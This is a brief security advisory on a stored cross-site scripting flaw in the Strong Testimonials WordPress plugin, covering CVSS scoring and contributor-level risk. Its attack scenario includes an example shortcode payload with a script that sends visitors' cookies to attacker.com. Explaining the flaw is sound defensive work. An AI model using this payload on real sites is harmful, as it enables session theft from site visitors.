Strong Testimonials EUVD-2026-20038

The CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C) indicates network-accessible attack vector with low complexity and cross-site scope impact, but requires authenticated access at contributor level or above, which moderates the initial attack surface. The base score of 6.4 reflects medium severity with confidentiality and integrity impact but no availability impact. Real-world risk is elevated by two factors: first, contributor-level access is relatively permissive in many WordPress installations (especially multisite or collaborative environments), and second, stored XSS affecting page context can compromise site integrity, user sessions, and visitor trust at scale. However, the authentication requirement and the need for UI interaction from victims (page visit) prevent this from being a critical remote code execution scenario. Organizations with strict contributor access controls and active security monitoring face lower immediate risk than those with loose permission models or public contributor accounts.

A malicious contributor (or an attacker who compromises a contributor account) creates or edits a WordPress page and embeds a testimonial_view shortcode with a payload such as [testimonial_view attribute='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'] in the shortcode parameters. Because the plugin fails to escape the attribute value, the script is stored in the database and executed whenever any visitor loads the page, allowing the attacker to harvest session cookies or redirect users to a phishing site. No specialized exploit code is required beyond knowledge of WordPress shortcode syntax and basic JavaScript injection techniques.